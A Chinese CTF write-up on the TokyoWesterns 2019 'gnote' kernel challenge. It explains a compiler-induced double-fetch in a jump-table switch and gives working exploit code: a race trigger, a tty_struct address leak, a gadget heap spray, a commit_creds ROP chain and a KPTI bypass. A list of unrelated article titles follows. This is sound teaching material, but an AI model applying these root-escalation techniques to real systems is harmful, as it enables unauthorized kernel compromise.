一、CVE-2015-8550

exp和原题可从我的github下载https://github.com/bsauce/CTF/tree/master/TokyoWesternsCTF2019-gnote。
漏洞详情可以参见https://wpengfei.github.io/cpedoc-accepted.pdf。

gcc 编译switch代码是,case超过5个就会变成jump table的形式。

例如:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>int do_something(char *buf){int ret=0;switch(*(int *)buf){case 1:printf("case 1n");break;case 2:printf("case 2n");break;case 3:printf("case 3n");break;case 4:printf("case 4n");break;/*case 5:*//*printf("case 5n");*//*break;*/}return ret;
}
int main(int argc,char **argv){char *buf=malloc(0x100);*(int *)buf = 0x1;do_something(buf);return 0;
}

4种case时,选项rdi只取了一次,默认编译为cmp ... je形式:

5种case时,选项rdi取了两次,默认编译为jump table形式,根据case索引数组跳到对应逻辑:

可以看到对用户数据取了两次,先cmp DWORD PTR [rdi],0x5比较最大值,再mov eax,DWORD PTR [rdi]取rdi的值作为jump table的索引。引发Double-Fetch漏洞。

二、漏洞分析

1. 程序分析

gnote首先注册一个procfs入口/proc/gnote,只有read和write处理句柄。可以添加最多8个note(size最大为0x10000),note指针存于notes全局数组中,note结构如下:

struct note {unsigned long size;char *contents;
};

源码如下:

// 可add note 但是内容不可控,没有copy_from_user,只有copy_to_user
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{unsigned int index;mutex_lock(&lock);/** 1. add note* 2. edit note* 3. delete note* 4. copy note* 5. select note* No implementation :(*/switch(*(unsigned int *)buf){case 1:if(cnt >= MAX_NOTE){break;}notes[cnt].size = *((unsigned int *)buf+1);if(notes[cnt].size > 0x10000){break;}notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);cnt++;break;case 2:printk("Edit Not implemented\n");break;case 3:printk("Delete Not implemented\n");break;case 4:printk("Copy Not implemented\n");break;case 5:index = *((unsigned int *)buf+1);if(cnt > index){selected = index;}break;}mutex_unlock(&lock);return count;
}ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{mutex_lock(&lock);if(selected == -1){mutex_unlock(&lock);return 0;}if(count > notes[selected].size){count = notes[selected].size;}copy_to_user(buf, notes[selected].contents, count);selected = -1;mutex_unlock(&lock);return count;
}

2. 漏洞

  1. Double-Fetch,只有在二进制中才看得出来,在gnote_write函数中,根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。

    ; note that rbx is the buf argument, user-controlled
    cmp dword ptr [rbx], 5
    ja default_case
    mov eax, [rbx]
    mov rax, jump_table[rax*8]
    jmp rax
    
  2. 未初始化内存读,在gnote_read函数中。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请。所以可以先调用系统调用,再把包含函数指针的块申请回来,读取原来的数据。例如/dev/ptmx中的tty_struct结构中指针,结构大小是0x2e0。

3. 漏洞利用

触发漏洞:

一个线程不断修改传入的index,而主线程不断调用write处理句柄。注意add note可以传入大于0x10000的size,这样会被add note丢弃,无害。触发代码如下:

#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>#define FAKE_IDX "0x41414141"void* thread_func(void* arg) {asm volatile("mov $" FAKE_IDX ", %%eax\n""mov %0, %%rbx\n""lbl:\n""xchg (%%rbx), %%eax\n""jmp lbl\n":: "r" (arg): "rax", "rbx");return 0;
}int main() {int fd = open("/proc/gnote", O_RDWR);unsigned int buf[2] = {0, 0x10001};pthread_t thr;pthread_create(&thr, 0, thread_func, &buf[0]);while (1)write(fd, buf, sizeof(buf));return 0;
}

mov rax, jump_table[0x41414141*8]导致崩溃。

利用漏洞:

  1. 有kaslr保护,但没有smap(这样才能执行用户空间的gadget),可以在用户空间喷射xchg eax, esp这个gadget;
  2. 选项大小、映射地址。mmap_min_addr=0x1000,模块加载最低地址是0xffffffffc0000000,所以传入的选项最小为0x8000200(0xffffffffc0000000 + 0x8000200*8 == 0x1000);
  3. 映射大小。最多映射0x1000页,否则会报错ENOMEM;
  4. 映射冲突。如果映射0x1000 - 0x10001000,可能会覆盖exp的默认加载地址0x400000…。一是可以映射0x1000000-0x2000000,二是可以编译时重定位binary—-Wl,--section-start=.note.gnu.build-id=0x40000158
  5. 栈迁移。利用gadget—xchg eax, esp ; ret使rsp指向用户空间,由于rsp指向gadget地址,所以需要在gadget&0xffffffff位置布置ropchain。
  6. ropchain布置。先设置CR4,再执行commit_creds(prepare_kernel_cred(0))。但为了缓解Meltdown漏洞,采用了页表隔离机制,用户空间不可执行,所以构造rop执行commit_creds(prepare_kernel_cred(0))
  7. 返回用户态。没有了rsp和rbp,通过rop跳进entry_SYSCALL_64(syscall入口);处理完syscall,进行页表转换,使用sysretq跳转到用户态,它把rip设置为rcx,rflags设置为r11。

三、Exploit

1.根据tty_struct结构泄露kernel_base

// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0);   // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)//    printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);

2.布置堆喷数据

由于没有smap保护,堆喷放上xchg eax, esp 使rsp指向用户空间即可。mov rax, jump_table[rax*8],内核加载最低地址是0xffffffffc0000000 + (0x8000000+0x1000000) x 8 = 0x8000000, 所以从0x8000000地址处开始喷射xchg eax, esp地址。

// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;

3.布置rop链

由于最后是jmp rax,rax指向xchg eax, esp,所以rop链放在xchg_eax_esp_ret & 0xffffffff地址即可。mmap是需要页对齐的,所以mmap_base == xchg_eax_esp_ret & 0xfffff000

// Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = 0;rop_base[i++] = prepare_kernel_cred;rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数rop_base[i++] = -1;rop_base[i++] = mov_rdi_rax_p_ret;rop_base[i++] = 0;rop_base[i++] = commit_creds;// bypass kptirop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = &shell;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;

4.开始竞争

// Step 4 : 开始竞争race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ...");}
}


问题:

(1)xchg eax, esp 之后rsp高8位还是0xffffffff啊,为什么只在低位布置rop呢?

在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret xchg %esp, %eXx ; ret. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址,虽然不知道为什么。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。

#执行xchg之前:
gef➤  i r
rax            0xffffffffb501992a   0xffffffffb501992a
rsp            0xffff966180227da0   0xffff966180227da0gef➤  stack
0xffff966180227da0: 0xffff8f8d0eaa5780
0xffff966180227da8: 0xfffffffffffffffb
gef➤  si
Warning: not running or target is remote
0xffffffffb501992b in ?? ()
Warning: not running or target is remote
#执行xchg之后:
gef➤  x /5i $pc
=> 0xffffffffb501992b:  ret    0xffffffffb501992c:  scas   al,BYTE PTR es:[rdi]gef➤  stack
Warning: not running or target is remote
0xb501992a: 0xffffffffb501c20d
0xb5019932: 0x0000000000000000
0xb501993a: 0xffffffffb5069fe0
gef➤  i r
rax            0x80227da0   0x80227da0...
rsp            0xb501992a   0xb501992a

栈迁移:

leave_ret (没有截断符号例如0xa0,就可以用):mov esp,ebp;pop ebp;ret

xchg eax,esp

(2)绕过kpti的方法是什么?

注意,利用老方法swapgsiretq组合总是不成功。

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode

利用了swapgs_restore_regs_and_return_to_usermode,跳过开头的pop。构造rop链时,后面放2个0,再开始放关键的5个寄存器。

/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernelgef➤  x /50i 0xffffffffbde00a340xffffffffbde00a34:  pop    r150xffffffffbde00a36:  pop    r140xffffffffbde00a38:  pop    r130xffffffffbde00a3a:  pop    r120xffffffffbde00a3c:  pop    rbp0xffffffffbde00a3d:  pop    rbx0xffffffffbde00a3e:  pop    r110xffffffffbde00a40:  pop    r100xffffffffbde00a42:  pop    r90xffffffffbde00a44:  pop    r80xffffffffbde00a46:  pop    rax0xffffffffbde00a47:  pop    rcx0xffffffffbde00a48:  pop    rdx0xffffffffbde00a49:  pop    rsi0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x50040xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]

参考:

https://wpengfei.github.io/cpedoc-accepted.pdf

https://rpis.ec/blog/tokyowesterns-2019-gnote/

https://www.anquanke.com/post/id/185911

linux漏洞缓解机制介绍

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch相关推荐

  1. linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2

    前言 在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr.在本文中,我们将逐步启用更多的安全防御机制,即SMEP.KPTI和SMA ...

  2. android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...

    [技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...

  3. linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)

    使第二次循环中的fget()返回NULL 到目前为止,在用户态下满足了触发漏洞的三个条件之一.TODO: 使netlink_attachskb()返回1 [DONE]exp线程解除阻塞 使第二次fge ...

  4. 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path

    0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...

  5. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  6. 自检代码中trustmanager漏洞_Windows内核漏洞利用教程

    堆栈溢出漏洞 首先,我们将从HackSysExtremeVulnerableDriver中的vanilla栈溢出漏洞开始讲起. 当向堆栈上的缓冲区存放的数据超出其存储容量时(例如,向16字节缓冲区(这 ...

  7. 安全漏洞一内核漏洞利用

    漏洞描述 Windows 事件跟踪 (ETW) 机制允许记录内核或应用程序定义的事件以进行调试. 开发人员能够启动和停止事件跟踪会话,检测应用程序以提供跟踪事件,并通过调用 ETW 用户模式 Wind ...

  8. [kernel exploit] Dirty Cred: 一种新的无地址依赖漏洞利用方案

    文章目录 简介 背景 Dirty Cred 基础知识 内核凭证 cred file slab 种类 通用内存slab 特殊内存slab filp cred 漏洞利用思路与实例 思路 CVE-2021- ...

  9. 部分CIA的漏洞利用工具干货请查收

    3月12日讯 CIA 辛辛苦苦几年攒的漏洞和工具"被"提交事件后,业内人士和记者都在仔细查看这些文件,各方都在关注事情进展. 相关阅读: 维基解密再曝美国情报机构惊天内幕 批露CI ...

最新文章

  1. retrofit2 spring接受参数_Spring面试中有可能遇到的问题
  2. 全卷积神经网路【U-net项目实战】U-Net源码上实现自己数据集的分割任务
  3. Windows PE第九章 线程局部存储
  4. responsebody如何将数据转换成json的_干货分享:如何用Retrofit直接获得Json数据(字符串)...
  5. 演讲者模式投影到幕布也看到备注_家用投影幕布怎么选?(看这一篇就明白了)...
  6. Solr空间搜索原理分析与实践
  7. QT5开发及实例学习之五算法及正则表达式
  8. 华为公司参加2006 CCBN广电信息网络展览会
  9. 2012 金华现场赛 A题
  10. 简单的描述关于开发部署产生401,500的错误处理
  11. FCKeditor配置和使用(转)
  12. 激光雷达(LiDAR)简介-森林资源调查应用
  13. 涉案千万,抓获170人,从业者多为90后,广州一公司被一锅端了!
  14. 不知道怎么压缩图片大小?分享2个压缩小技巧
  15. 如何使用PPT制作风靡朋友圈的九宫格照片,两种方法供你选择
  16. python程序中每条语句以分号结尾,在Python程序中,每条语句末尾必须添加分号。...
  17. 山东大学软件过程管理复习纲要
  18. SpringBoot整合阿里云视频点播
  19. 亲爱的老狼-清除浮动float的5种方法
  20. 【R生态】普鲁克分析(Procrustes Analysis)

热门文章

  1. 2019年中职组“网络空间安全”赛项 赣州市竞赛任务书
  2. Linux磁盘加密分析
  3. 设计模式.中介者模式Mediator
  4. CDN服务商和服务域名
  5. #undef_Cplusplus
  6. winform 鼠标离开子控件触发mouseleave事件处理
  7. PLSQL安装配置与汉化
  8. Tornado服务器连接数据库
  9. eMMC编程基础 -(二)eMMC基础介绍
  10. 几个经典的冷笑话……